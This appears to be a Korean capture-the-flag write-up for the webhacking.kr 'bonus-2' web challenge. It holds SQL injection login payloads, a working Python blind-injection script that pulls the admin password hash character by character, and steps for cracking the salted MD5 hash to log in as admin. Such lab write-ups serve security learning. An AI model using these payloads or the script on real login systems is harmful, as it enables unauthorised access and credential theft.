첫 화면

공백 필터링 안 함. 공백도 그대로 DB에 반영
select는 no hack으로 필터링
admin'||length(pw)>50#
admin'||length(pw)>50--
⇒ Wrong password!
'||id='admin' or length(pw)>0--
⇒ Wrong password!
||id='admin' or length(pw)>0--
'||id='admin' and 1=2--
⇒ login faild
'||id='admin' and length(pw)>1--
...
'||id='admin' and length(pw)>31--
⇒ Wrong password!
'||id='admin' and length(pw)>32--
⇒ Login Fail!
admin' and length(pw)>31--
⇒ Wrong password!
admin' and length(pw)>32--
⇒ Login Fail!
비밀번호 길이 : 32
admin' and SUBSTR(pw,{i},1)>{j}--
Python Script
import requests
URL = "<https://webhacking.kr/challenge/bonus-2/>"
cookie = {'PHPSESSID':'u8ogcqbl36at95gmvfjuf8d3vv'}
true_String="Wrong password"
pw_len = 32
# 패스워드 추출
data = {}
password=""
for i in range(1, pw_len+1):
for j in range(33, 128):
data['uuid']="admin' AND ASCII(SUBSTR(pw, {}, 1))={}#".format(i, j)
data['pw']=None
response=requests.post(URL, cookies=cookie, data=data)
if true_String in response.text:
password+=chr(j)
print(password)
break
print(password)
출력 : 6c9ca386a903921d7fa230ffa0ffc153

구글링을 해보면 MD5 정도는 복호화할 수 있는 여러가지 사이트가 많이 있다.
많은 사이트 들에서 안 되다가 여기서 복호화하는걸 성공했다.
https://hashes.com/en/decrypt/hash
Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free online
Hashes.com is a hash lookup service. This allows you to input an MD5, SHA-1, Vbulletin, Invision Power Board, MyBB, Bcrypt, Wordpress, SHA-256, SHA-512, MYSQL5 etc hash and search for its corresponding plaintext ("found") in our database of already-cracked
hashes.com

6c9ca386a903921d7fa230ffa0ffc153:wowapple
그런데, wowapple을 pw창에 넣으면 admin으로 로그인이 안 된다.
id:pw가 guest:guest인 계정을 만들어 보고 복호화해봤다.

8c3a432045300fddc9050bb678749eb9:guestapple
설정한 비밀번호에 apple을 붙여서 md5로 복호화한 것이었다.
그럼 admin의 pw도 apple을 뺸 wow일 것이다.
admin:wow 입력

끝.